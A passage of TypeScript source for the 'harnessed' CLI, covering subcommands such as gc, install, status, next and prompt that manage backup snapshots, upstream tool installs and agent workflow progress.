reason: null }\n      } catch {\n        parallelism = { escalate_to_teams: false, reason: null }\n      }\n\n      const result: GatesPlan = { master, fire, skip, parallelism }\n      console.log(JSON.stringify(result, null, 2))\n      process.exit(0)\n    })\n}\n\nfunction fireEntry(clause: DelegationClause, master: string): FireEntry {\n  // v4.1.2 BLOCKER fix — stage-master delegates_to[].sub are BARE names\n  // (task → code/test/clarify/deliver; discuss → strategic/phase/subtask). But\n  // role-prompts.yaml / resolveWorkflowYaml tier-3 / defaults.yaml are keyed by\n  // the FLATTENED `<master>-<sub>` name (task-code, discuss-strategic). Emit the\n  // flattened name so the command body's `harnessed prompt <sub>` resolves the\n  // real role prompt + tools + disciplines instead of the generic fallback.\n  //\n  // The `auto` super-master is exempt: its delegates are already top-level names\n  // (discuss/plan/task/verify masters → recursed; research/retro standalone) that\n  // resolve as-is, so no prefix.\n  const isMaster = STAGE_MASTERS.has(clause.sub)\n  const sub = master !== 'auto' && !isMaster ? `${master}-${clause.sub}` : clause.sub\n  const entry: FireEntry = { sub }\n  if (clause.order !== undefined) entry.order = clause.order\n  if (clause.mode !== undefined) entry.mode = clause.mode\n  if (clause.gate !== undefined) entry.gate = clause.gate\n  if (isMaster) entry.is_master = true\n  return entry\n}\n","// Phase 1.2 cli subcommand `gc` per ADR 0004 § Consequences Negative #3 +\n// sister review M1 mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 § Consequences Negative #3): backup snapshots\n// accumulate without bound; users will eventually fill disk. The M1 sister\n// review fix promotes `harnessed gc --older-than 30d` from \"phase 2.4\n// deferred\" to \"phase 1.2 ship\" because the failure mode is silent (users\n// only notice when df -h is red), and ADR 0004 § Consequences explicitly\n// names this as the chosen mitigation.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// gc follows the unified apply-immediate default convention (sister\n// install.ts pattern verbatim). Without flags → delete candidates。\n// `--dry-run` opt-in 列出 candidates 但不真删 (高级用户预览)。\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since v3.0.1)。\n// keepLast + olderThan filter 仍 protect 误删近期 snapshot (safety contract)。\n\nimport { readdir, readFile, rm, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n  installer: string\n  manifest: string\n  timestamp: string\n  files: unknown[]\n}\n\ninterface GcOpts {\n  olderThan?: string\n  keepLast?: string\n  dryRun?: boolean\n}\n\nconst DURATION_RE = /^(\\d+)([dhmw])$/\nfunction parseDuration(s: string): number | null {\n  const m = DURATION_RE.exec(s)\n  if (!m) return null\n  const n = Number.parseInt(m[1] ?? '0', 10)\n  const unit = m[2]\n  const ms =\n    unit === 'd' ? 86_400_000 : unit === 'h' ? 3_600_000 : unit === 'm' ? 60_000 : 604_800_000\n  return n * ms\n}\n\nasync function dirSizeKb(dir: string): Promise<number> {\n  let total = 0\n  const stack: string[] = [dir]\n  while (stack.length > 0) {\n    const cur = stack.pop()\n    if (!cur) break\n    const entries = await readdir(cur, { withFileTypes: true })\n    for (const e of entries) {\n      const p = join(cur, e.name)\n      if (e.isDirectory()) stack.push(p)\n      else if (e.isFile()) {\n        const st = await stat(p)\n        total += st.size\n      }\n    }\n  }\n  return Math.round(total / 1024)\n}\n\nexport function registerGc(program: Command): void {\n  program\n    .command('gc')\n    .description(\n      'Garbage-collect old backup snapshots (immediate by default — use --dry-run for preview)',\n    )\n    .option('--older-than <duration>', 'delete snapshots older than (e.g. 30d / 24h / 4w)', '30d')\n    .option('--keep-last <N>', 'always keep the most recent N snapshots', '0')\n    .option('--dry-run', 'preview only — do not delete (opt-in for advanced users)')\n    .action(async (opts: GcOpts) => {\n      // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n      const dryRun = opts.dryRun === true\n      const olderMs = parseDuration(opts.olderThan ?? '30d')\n      if (olderMs == null) {\n        console.error(\n          `${t('gc.invalid_duration', { value: opts.olderThan ?? '' })}\\n${t('gc.invalid_duration.fix')}`,\n        )\n        process.exit(1)\n        return\n      }\n      const keepLast = Number.parseInt(opts.keepLast ?? '0', 10)\n      const root = getBackupRoot()\n      let dirs: string[]\n      try {\n        dirs = (await readdir(root, { withFileTypes: true }))\n          .filter((e) => e.isDirectory())\n          .map((e) => e.name)\n          .sort()\n      } catch {\n        console.log(t('gc.no_backups', { root }))\n        return\n      }\n      const cutoff = Date.now() - olderMs\n      // Most-recent `keepLast` are protected. NOTE: slice(-0) === slice(0) returns\n      // the WHOLE array (JS -0===0), so a guard is required or default keepLast=0\n      // would protect everything → gc deletes nothing (v4.1.3 fix).\n      const kept = new Set(keepLast > 0 ? dirs.slice(-keepLast) : [])\n      const candidates: Array<{ ts: string; path: string; manifest: string; sizeKb: number }> = []\n      for (const ts of dirs) {\n        if (kept.has(ts)) continue\n        const path = join(root, ts)\n        // Backup ID is ISO timestamp with `:` → `-`; reverse to parse.\n        const iso = ts.replace(/T(\\d{2})-(\\d{2})-(\\d{2})/, 'T$1:$2:$3')\n        const t = Date.parse(iso)\n        if (Number.isNaN(t) || t > cutoff) continue\n        let manifest = '(unknown)'\n        try {\n          const meta = JSON.parse(\n            await readFile(join(path, 'metadata.json'), 'utf8'),\n          ) as BackupMetadata\n          manifest = meta.manifest\n        } catch {\n          // metadata missing — still gc by age\n        }\n        const sizeKb = await dirSizeKb(path)\n        candidates.push({ ts, path, manifest, sizeKb })\n      }\n      if (candidates.length === 0) {\n        console.log(\n          t('gc.no_old_snapshots', { cutoff: opts.olderThan ?? '', keptCount: kept.size }),\n        )\n        return\n      }\n      const totalKb = candidates.reduce((a, c) => a + c.sizeKb, 0)\n      const key = dryRun ? 'gc.summary_will_delete' : 'gc.summary_deleting'\n      console.log(t(key, { count: candidates.length, sizeKb: totalKb }))\n      for (const c of candidates) {\n        console.log(`  ${c.ts}  ${c.manifest}  (${c.sizeKb} KB)`)\n        if (!dryRun) await rm(c.path, { recursive: true, force: true })\n      }\n      if (dryRun) console.log(t('gc.dry_run_rerun_hint'))\n    })\n}\n","// Phase 1.2 cli subcommand `install` per ADR 0004 § 1 + § 6 + Pattern C narrow.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed install <name>` executes immediately by default (non-expert UX;\n// v3.0.1 user feedback — dry-run 是高级用户概念,默认应 apply)。`--dry-run` flag\n// is opt-in 高级用户预览。Sister setup.ts pattern verbatim (L5-7 IMPL NOTE).\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since\n// v3.0.1)。default is apply-immediate, no flag needed。\n//\n// Exit code mapping (ADR 0004 contract 6 — no silent failure):\n//   0 → install succeeded (ok: true)\n//   1 → install failed (ok: false; print error.suggest if present)\n//   2 → user-aborted / platform-mismatch (not an error)\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\n// Phase 3.4 W0.2 #AD — Path A LOCKED per RESEARCH § 6.2 A1 ASSUMED LOW risk\n// (Node 22 + TypeScript 5.6+ supports `with { type: 'json' }` native ES2022\n// import attributes per ECMAScript 2025 stage 4). Replaces hardcoded '0.3.0'\n// literal at L116 with pkg.version (single source of truth = package.json L3).\nimport pkg from '../../package.json' with { type: 'json' }\nimport { t } from '../i18n/index.js'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallError, InstallOpts } from '../installers/lib/types.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n  dryRun?: boolean\n  system?: boolean\n  nonInteractive?: boolean\n  fullDiff?: boolean\n  color?: boolean // commander turns --no-color into color: false\n  knownGood?: boolean // ← Phase 3.3 W1 T1.9 ADD (D-03 YAML version lock consume)\n}\n\nfunction formatError(e: InstallError): string {\n  const head = `error: ${e.message}`\n  const where = e.path && e.path !== '/' ? `\\n  at ${e.path}` : ''\n  const tip = e.suggest ? `\\n  fix:  ${e.suggest}` : ''\n  return `${head}${where}${tip}`\n}\n\nexport function registerInstall(program: Command): void {\n  program\n    .command('install <name>')\n    .description('Install an upstream (immediate by default — use --dry-run for preview)')\n    .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n    .option('--system', 'allow L4 system-wide install (e.g. global npm install)')\n    .option('--non-interactive', 'skip all prompts (CI / scripts)')\n    .option('--full-diff', 'expand diffs longer than 200 lines')\n    .option('--no-color', 'disable ANSI colors (auto-detected when piped)')\n    .option(\n      '--known-good',\n      'use known-good version lock from versions/<harnessed-ver>-known-good.yaml',\n    )\n    .action(async (name: string, raw: RawOpts) => {\n      // Phase 3.3 W1 T1.8 ADD — D-01 alias redirect (D-02 silent install,\n      // NO console output per R7.5 验收 \"install 通过\" 语义对齐; doctor 7th\n      // check is the human-readable deprecation audit surface).\n      const { resolveAlias } = await import('../manifest/aliases.js')\n      const resolvedName = resolveAlias(name) ?? name\n      // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n      checkPathSafe(resolvedName)\n\n      // Manifest resolution order — tools (CLI/MCP) → skill-packs (slash-cmd\n      // bundles) → optional (opt-in catalog: ecc / codegraph). `optional/` is the\n      // on-demand tier: `harnessed setup` Step B never globs it (no auto-install),\n      // but explicit `harnessed install <name>` resolves it here.\n      const candidatePaths = ['tools', 'skill-packs', 'optional'].map((dir) =>\n        resolve(getPackageRoot(), `manifests/${dir}/${resolvedName}.yaml`),\n      )\n      let yamlSrc: string | undefined\n      let chosenPath: string | undefined\n      for (const p of candidatePaths) {\n        try {\n          yamlSrc = await readFile(p, 'utf8')\n          chosenPath = p\n          break\n        } catch {\n          // try next tier\n        }\n      }\n      if (yamlSrc === undefined || chosenPath === undefined) {\n        console.error(\n          `${t('install.manifest_not_found', { name: resolvedName })}\\n${t('install.manifest_not_found.fix', { name: resolvedName })}`,\n        )\n        process.exit(1)\n      }\n\n      const v = validateManifestFile(yamlSrc, chosenPath)\n      if (!v.ok) {\n        for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n        console.error(t('install.audit_hint'))\n        process.exit(1)\n      }\n\n      // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n      // dryRun=true → preview only;dryRun=false → immediate execute。\n      const dryRun = raw.dryRun === true\n      const opts: InstallOpts = {\n        apply: !dryRun,\n        dryRun,\n        system: raw.system === true,\n        nonInteractive: raw.nonInteractive === true,\n        fullDiff: raw.fullDiff === true,\n        color: raw.color === false ? false : 'auto',\n      }\n\n      // Phase 3.3 W1 T1.9 ADD — D-03 known-good lock consume (lazy load only\n      // when flag set per Karpathy YAGNI Discretion lock).\n      if (raw.knownGood) {\n        const { getPinnedVersion } = await import('../manifest/knownGood.js')\n        const harnessedVer = pkg.version\n        const pinned = getPinnedVersion(v.manifest.metadata.name, harnessedVer)\n        if (pinned && v.manifest.spec.install.method === 'npm-cli') {\n          ;(v.manifest.spec.install as { npm_version?: string }).npm_version = pinned\n        }\n      }\n\n      const result = await runInstall(v.manifest, opts)\n\n      if ('aborted' in result) {\n        console.error(t('install.aborted', { reason: result.reason }))\n        process.exit(2)\n      }\n      if (result.ok) {\n        const version =\n          v.manifest.spec.install.method === 'npm-cli' && 'npm_version' in v.manifest.spec.install\n            ? v.manifest.spec.install.npm_version\n            : ''\n        console.log(\n          version\n            ? t('install.success_with_version', { name: v.manifest.metadata.name, version })\n            : t('install.success', { name: v.manifest.metadata.name }),\n        )\n        process.exit(0)\n      }\n      console.error(formatError(result.error))\n      process.exit(1)\n    })\n}\n","// `harnessed learn \"<lesson>\"` — append a prose learning to this repo's\n// .planning/LEARNINGS.md (the agent-supplied half of the Phase 16 hybrid loop;\n// the auto half fires on workflow completion in checkpoint.ts).\nimport type { Command } from 'commander'\n\nexport function registerLearn(program: Command): void {\n  program\n    .command('learn <lesson>')\n    .description(\"Append a prose learning to this repo's .planning/LEARNINGS.md\")\n    .action(async (lesson: string) => {\n      const { appendLearning, formatLearningEntry } = await import('../checkpoint/learnings.js')\n      const { repoKey } = await import('../checkpoint/workflowStore.js')\n      const entry = formatLearningEntry({\n        phase: '(manual)',\n        signals: [],\n        prose: lesson,\n        at: new Date().toISOString(),\n      })\n      await appendLearning(repoKey(), entry)\n      console.log('[harnessed] learning appended → .planning/LEARNINGS.md')\n      process.exit(0)\n    })\n}\n","// Phase 24 Wave 1 (v8.0 Frictionless Entry) — zero-arg `harnessed` you-are-here\n// entry: the comet `/comet` analog. A bare `harnessed` auto-detects the active\n// workflow for the current repo (readCurrentWorkflow, repoKey-routed) and prints a\n// \"you-are-here + what's-next\" dashboard (reuse buildRecoverLines) + a deterministic\n// `NEXT: auto|manual|done` contract line + a run hint; `--json` emits the structured\n// object; no active workflow → onboarding hint. The mechanism is entirely shipped —\n// this is pure aggregation + a zero-arg dispatch (D4/D5). Read-only: no spawn, no\n// state/git/remote mutation (D2 no-spawn report; cli.ts:99 \"no spawn\"). Sister:\n// src/cli/lib/release-preflight.ts (pure collect + thin runner).\n\nimport { resolveAutoTransition, resolveNext } from '../../checkpoint/nextStep.js'\nimport type { SubProgressEntryType } from '../../checkpoint/schema/currentWorkflow.v1.js'\nimport { t } from '../../i18n/index.js'\nimport { harnessedFile } from '../../installers/lib/harnessedRoot.js'\nimport { buildRecoverLines } from '../status.js'\n\n/** Workflow envelope subset consumed by the here view (mirrors buildRecoverLines). */\ninterface HereWorkflow {\n  phase: string\n  status: string\n  started_at: string\n}\n\nexport interface HereJson {\n  active: boolean\n  phase?: string\n  status?: string\n  started_at?: string\n  next?: 'auto' | 'manual' | 'done'\n  sub?: string\n  hint?: string\n  sub_progress?: SubProgressEntryType[]\n}\n\n/**\n * D3 — explicit bare-invocation detection (NOT commander program.action). The\n * already-pre-parsed `--lang`/`--lang=` pair is stripped first, then ONLY `[]` →\n * here(human) and `['--json']` → here(json) are recognized. Anything else\n * (subcommand / `--help` / `--version` / unknown word / multi-token) falls through\n * so `harnessed bogus` still errors as an unknown command (T-24-01 anti-misfire).\n */\nexport function parseBareInvocation(argvRest: string[]): { here: boolean; json: boolean } {\n  const tokens: string[] = []\n  for (let i = 0; i < argvRest.length; i++) {\n    const a = argvRest[i]\n    if (a === '--lang') {\n      i++ // skip the language code that follows\n      continue\n    }\n    if (a?.startsWith('--lang=')) continue\n    if (a !== undefined) tokens.push(a)\n  }\n  if (tokens.length === 0) return { here: true, json: false }\n  if (tokens.length === 1 && tokens[0] === '--json') return { here: true, json: true }\n  return { here: false, json: false }\n}\n\n/**\n * D4 — aggregate the you-are-here view. Pure over the injected wf/ledger (the only\n * impurity is buildRecoverLines' drift re-hash, which fires only when a ledger entry\n * carries evidence). wf null → onboarding; else the recover body + a `NEXT:` line +\n * an optional run hint. Returns lines (for human) + the structured json shape.\n */\nexport async function buildHereView(\n  wf: HereWorkflow | null,\n  ledger: SubProgressEntryType[],\n  auto: boolean,\n): Promise<{ lines: string[]; json: HereJson }> {\n  if (!wf) {\n    return {\n      lines: [\n        t('here.no_workflow', { path: harnessedFile('workflows.json') }),\n        t('here.no_workflow.hint'),\n      ],\n      json: { active: false },\n    }\n  }\n\n  const body = await buildRecoverLines(wf, ledger)\n  const step = resolveNext(ledger, auto)\n  const lines = [\n    ...body,\n    `NEXT: ${step.next}`,\n    ...(step.sub ? [`→ run: harnessed prompt ${step.sub}`] : []),\n  ]\n  return {\n    lines,\n    json: {\n      active: true,\n      phase: wf.phase,\n      status: wf.status,\n      started_at: wf.started_at,\n      next: step.next,\n      sub: step.sub,\n      hint: step.hint,\n      sub_progress: ledger,\n    },\n  }\n}\n\n/** Thin runner — lazy-imports the repo-routed state read (sister: cli/next.ts), then\n *  prints the human dashboard or the JSON object. Read-only; exits 0. */\nexport async function runHere(opts: { json?: boolean }): Promise<void> {\n  const { readCurrentWorkflow } = await import('../../checkpoint/state.js')\n  const wf = await readCurrentWorkflow()\n  const ledger = wf?.sub_progress ?? []\n  const auto = resolveAutoTransition(wf?.auto_transition)\n  const view = await buildHereView(wf, ledger, auto)\n  if (opts.json) {\n    console.log(JSON.stringify(view.json, null, 2))\n  } else {\n    for (const l of view.lines) console.log(l)\n  }\n  process.exit(0)\n}\n","// Phase 1.2 cli subcommand `status` per ADR 0004 contract 6 + Pattern C.\n//\n// Reads <harnessed-root>/state.json (lib/state.ts SSOT) and prints installed\n// upstreams, their pinned version, and install timestamp. Partial-install\n// state (ADR 0004 contract 6) is reported when state.json contains an entry\n// without a matching backup snapshot or vice versa — phase 1.2 minimum\n// uses the readState() default-on-ENOENT idiom and treats absence as\n// \"nothing installed yet\" (not an error).\n//\n// Phase 5.1 W2 T2.5 — D-07 lock holder display: reads <harnessed-root>/.lock\n// content (proper-lockfile mtime) + stale auto-detect 10s indicator.\n// v3.0.3 — paths routed through harnessedRoot SoT (homedir-rooted).\n\nimport { stat } from 'node:fs/promises'\nimport type { Command } from 'commander'\nimport lockfile from 'proper-lockfile'\nimport { detectDrift } from '../checkpoint/evidence.js'\nimport { nextPending } from '../checkpoint/ledger.js'\nimport type { SubProgressEntryType } from '../checkpoint/schema/index.js'\nimport { readCurrentWorkflow } from '../checkpoint/state.js'\nimport { t } from '../i18n/index.js'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { readState } from '../installers/lib/state.js'\n\n/** v5.0 Spec 1 (B) — status marker per sub `status` (design §7 sample). */\nexport function statusMarker(status: SubProgressEntryType['status']): string {\n  switch (status) {\n    case 'done':\n      return '✅ done'\n    case 'pending':\n      return '⏳ pending'\n    case 'failed':\n      return '✗ failed'\n    case 'skipped':\n      return '⬜ skipped'\n    case 'rejected':\n      return '🚫 rejected'\n  }\n}\n\n/** v5.0 Spec 1 (D2) — evidence posture, rendered DISTINCTLY. `none_declared`\n *  must never read as a verified pass; an entry with no posture recorded yet\n *  also reads as none_declared (no evidence asserted). */\nfunction evidenceLabel(entry: SubProgressEntryType): string {\n  switch (entry.evidence_status) {\n    case 'verified':\n      return 'evidence: verified'\n    case 'overridden':\n      return 'evidence: overridden (--force)'\n    default:\n      return 'evidence: none_declared'\n  }\n}\n\n/** v5.0 Spec 1 (B + F) — build the `status --recover` output lines from a ledger.\n *  Pure over the supplied ledger except for the drift re-hash (detectDrift does the\n *  fs touch). Empty ledger degrades gracefully (D3). Returns the lines to print so\n *  the formatting is testable without capturing stdout. */\nexport async function buildRecoverLines(\n  workflow: { phase: string; status: string; started_at: string } | null,\n  ledger: SubProgressEntryType[],\n): Promise<string[]> {\n  const lines: string[] = []\n  if (!workflow || ledger.length === 0) {\n    lines.push('no ledger — run gates + start')\n    return lines\n  }\n\n  lines.push(`workflow: ${workflow.phase} (${workflow.status})  started ${workflow.started_at}`)\n\n  const next = nextPending(ledger)\n  for (const e of ledger) {\n    const marker = statusMarker(e.status)\n    // P1-4 — evidence posture is only meaningful for a COMPLETED sub. A `pending`\n    // or `failed` sub asserts no evidence; rendering `evidence: none_declared`\n    // there reads as a misleading \"✗ failed … none_declared\". `skipped` shows its\n    // reason; `done` shows the posture; `pending`/`failed` show neither.\n    let suffix = ''\n    if (e.status === 'skipped') {\n      suffix = e.reason ? `  (skipped: ${e.reason})` : ''\n    } else if (e.status === 'done') {\n      suffix = `  ${evidenceLabel(e)}`\n    }\n    const arrow = e.sub === next ? '   ← next' : ''\n    lines.push(`  ${e.sub}  ${marker}${suffix}${arrow}`)\n  }\n\n  if (next) {\n    lines.push(`→ next: harnessed prompt ${next}`)\n  } else {\n    lines.push('→ all subs resolved (no pending work)')\n  }\n\n  // F — re-hash each entry's evidence; emit drift warnings (warn, never block).\n  for (const e of ledger) {\n    if (!e.evidence || e.evidence.length === 0) continue\n    const drift = await detectDrift(e.evidence)\n    for (const d of drift) {\n      const now = d.now === '' ? 'missing' : `${d.now.slice(0, 7)}…`\n      lines.push(`⚠ drift: ${d.path} sha256 changed (was ${d.was.slice(0, 7)}…, now ${now})`)\n    }\n  }\n\n  return lines\n}\n\nexport function registerStatus(program: Command): void {\n  program\n    .command('status')\n    .description('Show installed upstreams (from <harnessed-root>/state.json)')\n    .option('--recover', 'structured recovery view of the active workflow ledger (v5.0 Spec 1 B)')\n    .action(async (opts: { recover?: boolean }) => {\n      if (opts.recover) {\n        const wf = await readCurrentWorkflow()\n        const ledger = wf?.sub_progress ?? []\n        const lines = await buildRecoverLines(wf, ledger)\n        for (const l of lines) console.log(l)\n        return\n      }\n      const state = await readState(process.cwd())\n      const names = Object.keys(state.installed).sort()\n      if (names.length === 0) {\n        console.log(t('status.no_installs', { path: harnessedFile('state.json') }))\n      } else {\n        for (const n of names) {\n          const e = state.installed[n]\n          if (!e) continue\n          console.log(`${n} @ ${e.version}  (installed ${e.installedAt})`)\n        }\n        console.log(t('status.summary_installs', { count: names.length }))\n      }\n\n      // D-07 LOCKED — display lock holder pid + mtime + stale indicator\n      // proper-lockfile.check() returns true when lock is currently held\n      const lockPath = harnessedFile('.lock')\n      try {\n        const isLocked = await lockfile.check(getHarnessedRoot(), {\n          lockfilePath: lockPath,\n          stale: 10_000,\n        })\n        if (isLocked) {\n          const s = await stat(lockPath)\n          const ageMs = Date.now() - s.mtime.getTime()\n          const stale = ageMs > 10_000\n          console.log(\n            t('status.lock_held', {\n              since: s.mtime.toISOString(),\n              staleSuffix: stale ? t('status.lock_held.stale_suffix') : '',\n            }),\n          )\n          console.log(t('status.lock_release_hint', { path: lockPath }))\n        } else {\n          console.log(t('status.lock_free'))\n        }\n      } catch {\n        // harnessed root absent or inaccessible = no lock; silent per D-07\n      }\n    })\n}\n","// Phase 2.3 W3 T3.1 — `harnessed manifest-add` EE-5 5Q merge gate (D-03 BOTH).\n// Sister: research.ts; H1 gate. Storage: Path A sibling\n// manifests/<category>/<name>.ee5-answers.json (S2 fix — no provenance schema bump).\nimport { writeFileSync } from 'node:fs'\nimport { stdin, stdout } from 'node:process'\nimport * as readline from 'node:readline/promises'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\n\nconst QA: readonly { q: string; f: string }[] = [\n  { q: '① 是真 reusable surface 还是临时 wrapper?', f: 'q1_reusable_surface' },\n  { q: '② 上游名字 fit 项目 shape 吗? 有现有命名冲突吗?', f: 'q2_name_fit' },\n  { q: '③ 与已装配组件有 overlap surface 吗?', f: 'q3_overlap' },\n  { q: '④ 是 import 概念 (可控) 还是 import 别人产品身份 (高耦合)?', f: 'q4_concept_vs_identity' },\n  { q: '⑤ user 不知 upstream 还能理解该装配吗?', f: 'q5_user_understanding' },\n] as const\n\ninterface RawOpts {\n  category?: string\n  name?: string\n  dryRun?: boolean\n  nonInteractive?: boolean\n}\n\nfunction basename(upstream: string): string {\n  return (upstream.split('/').pop() ?? upstream).replace(/\\.git$/, '')\n}\n\nexport function registerManifestAdd(program: Command): void {\n  program\n    .command('manifest-add <upstream>')\n    .description(\n      'Add a new upstream adapter (EE-5 5-question merge gate; immediate by default — use --dry-run for preview)',\n    )\n    .option('--category <cat>', 'manifest category (skill-packs | tools)', 'skill-packs')\n    .option('--name <name>', 'short adapter name (defaults to <upstream> basename)')\n    .option('--dry-run', 'preview only — do not write JSON (opt-in for advanced users)')\n    .option('--non-interactive', 'CI/scripts — WARN-only dry-run')\n    .action(async (upstream: string, raw: RawOpts) => {\n      const name = raw.name ?? basename(upstream)\n      const category = raw.category ?? 'skill-packs'\n      const outPath = `manifests/${category}/${name}.ee5-answers.json`\n      if (raw.nonInteractive) {\n        console.warn(t('manifest_add.non_interactive_warn'))\n        console.log(t('manifest_add.dry_run_preview', { upstream, path: outPath }))\n        process.exit(0)\n      }\n      const rl = readline.createInterface({ input: stdin, output: stdout })\n      const payload: Record<string, string> = {\n        upstream,\n        created_at: new Date().toISOString(),\n        author: process.env.USER ?? process.env.USERNAME ?? 'unknown',\n      }\n      for (const { q, f } of QA) {\n        const a = (await rl.question(`${q}\\n> `)).trim()\n        if (!a) {\n          console.error(t('manifest_add.empty_answer'))\n          rl.close()\n          process.exit(1)\n        }\n        payload[f] = a\n      }\n      rl.close()\n      // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n      const dryRun = raw.dryRun === true\n      if (!dryRun) {\n        writeFileSync(outPath, `${JSON.stringify(payload, null, 2)}\\n`, 'utf8')\n        console.log(t('manifest_add.gate_passed_wrote', { path: outPath }))\n      } else {\n        console.log(t('manifest_add.gate_passed_dry_run', { path: outPath }))\n        console.log(JSON.stringify(payload, null, 2))\n      }\n      process.exit(0)\n    })\n}\n","// `harnessed next` — emit the deterministic next-step contract. Reads the singleton\n// ledger + auto_transition (env > envelope > default true). Two layers:\n//   1. mid-flight workflow (pending sub) → intra-workflow NEXT: auto|manual|done +\n//      SUB/HINT, exit 0 — the existing G2 contract, unchanged (AC9).\n//   2. subs resolved to `done` → fall through to cross-unit forward continuation\n//      (v12.0 Phase 38, D3): scanPlanning → deriveNext → NEXT: advance|blocked|done\n//      with exit codes 0 (advance) / 2 (done) / 10 (blocked) so a driver can branch.\n// No state mutation. Sister: src/cli/resume.ts lazy-import pattern.\n\nimport type { Command } from 'commander'\n\nexport function registerNext(program: Command): void {\n  program\n    .command('next')\n    .description(\n      'Print the deterministic next-step contract: intra-workflow sub (auto|manual|done) then cross-unit forward continuation (advance|blocked|done), exit 0/2/10',\n    )\n    .action(async () => {\n      const { readCurrentWorkflow } = await import('../checkpoint/state.js')\n      const { resolveNext, resolveAutoTransition } = await import('../checkpoint/nextStep.js')\n      const current = await readCurrentWorkflow()\n      const ledger = current?.sub_progress ?? []\n      const auto = resolveAutoTransition(current?.auto_transition)\n      const step = resolveNext(ledger, auto)\n      // Backward-compat (AC9): a mid-flight workflow keeps the intra-workflow sub\n      // contract verbatim. ONLY when subs resolve to `done` do we fall through to\n      // cross-unit forward continuation (D3).\n      if (step.next !== 'done') {\n        console.log(`NEXT: ${step.next}`)\n        if (step.sub) console.log(`SUB: ${step.sub}`)\n        if (step.hint) console.log(`HINT: ${step.hint}`)\n        process.exit(0)\n        return\n      }\n      // D3 fall-through — derive the next cross-unit (task / phase / blocked / done).\n      const { scanPlanning } = await import('../checkpoint/planningScan.js')\n      const { resolveForwardStep } = await import('../checkpoint/forwardStep.js')\n      const snapshot = scanPlanning({\n        repoRoot: process.cwd(),\n        currentWorkflow: current,\n        includeTasks: false,\n      })\n      const fwd = resolveForwardStep(snapshot)\n      for (const line of fwd.lines) console.log(line)\n      process.exit(fwd.exitCode)\n    })\n}\n","// src/cli/prompt.ts — `harnessed prompt <sub> [--task <text>] [--json]`.\n//\n// Outputs a spawn-ready prompt for a sub-workflow (role prompt body + checklist\n// + completion/clarification protocols). NO spawning — just prints text the CC\n// main session feeds into its native Task tool.\n//\n// v4.0 core addition: appends two protocols (completion COMPLETE + clarification\n// NEEDS_CLARIFICATION gray-area回流) so spawned subagents follow the CLAUDE.md\n// 铁律 \"遇到 gray area 必须返回 STATUS: NEEDS_CLARIFICATION\".\n//\n// Reuses buildAgentDef from src/workflow/run.ts (role-prompt body + conservative\n// fallback for subs not in role-prompts.yaml). Fallback subs still get the two\n// protocols, so unknown <sub> works (exit 0). Only hard error: missing workflows\n// dir (role-prompts.yaml unreadable is non-fatal → empty registry → fallback).\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { parse as parseYaml } from 'yaml'\nimport { getLocale, type SupportedLocale } from '../i18n/index.js'\nimport { resolveLocaleYaml } from '../i18n/localeYaml.js'\nimport { buildAgentDef } from '../workflow/run.js'\nimport { loadRolePrompts } from './lib/generateCommands.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { resolveWorkflowYaml } from './run.js'\n\nconst DEFAULT_MAX_ITERATIONS = 20\nconst DEFAULT_MODEL = 'sonnet'\nconst DEFAULT_SPECIALIST = 'Implementation Engineer'\n\n/** v4.0.1 — language discipline injection. The `language` discipline\n *  (workflows/disciplines/language.yaml) says output follows env.HARNESSED_USER_LANG\n *  (set by `harnessed setup` Step D). v4.0 spawns CC-native subagents via this\n *  prompt, so the language directive must be IN the prompt — nothing else wires\n *  it in. Without it, spawned subagents (and the prompt's own tone) default to\n *  English even when the user configured zh-Hans. */\nconst LANG_NAMES: Record<string, string> = {\n  en: 'English',\n  'zh-Hans': '简体中文 (Simplified Chinese)',\n  'zh-CN': '简体中文 (Simplified Chinese)',\n  'zh-Hant': '繁體中文 (Traditional Chinese)',\n  'zh-TW': '繁體中文 (Traditional Chinese)',\n}\n\n/** v4.1 — Tools section. Reads the sub's workflow.yaml `tools_available[]`, maps\n *  each to its capabilities.yaml `cmd`, and emits a MANDATORY invocation block.\n *  Without this, the spawned subagent only sees the role-prompt's soft prose\n *  (\"persist via planning-with-files\") and improvises — skipping the actual\n *  /gsd-plan-phase + /plan slash commands + GSD doc artifacts. Fail-soft: any\n *  read/parse miss → empty string (prompt still works, just without the block). */\n/** v4.1.2 — shared preamble for the tools + disciplines sections: resolve the\n *  sub's workflow.yaml, read+parse it, return one declared array field (or []).\n *  Fail-soft → [] (caller emits no section). */\nasync function loadSubArrayField(\n  sub: string,\n  packageRoot: string,\n  field: string,\n): Promise<string[]> {\n  const subYaml = await resolveWorkflowYaml(sub, resolve(packageRoot, 'workflows'))\n  if (!subYaml) return []\n  const wf = parseYaml(await readFile(subYaml, 'utf8')) as Record<string, unknown> | null\n  const v = wf?.[field]\n  return Array.isArray(v) ? (v as string[]) : []\n}\n\nasync function buildToolsSection(sub: string, packageRoot: string): Promise<string> {\n  try {\n    const workflowsDir = resolve(packageRoot, 'workflows')\n    const tools = await loadSubArrayField(sub, packageRoot, 'tools_available')\n    if (tools.length === 0) return ''\n\n    const capRaw = await 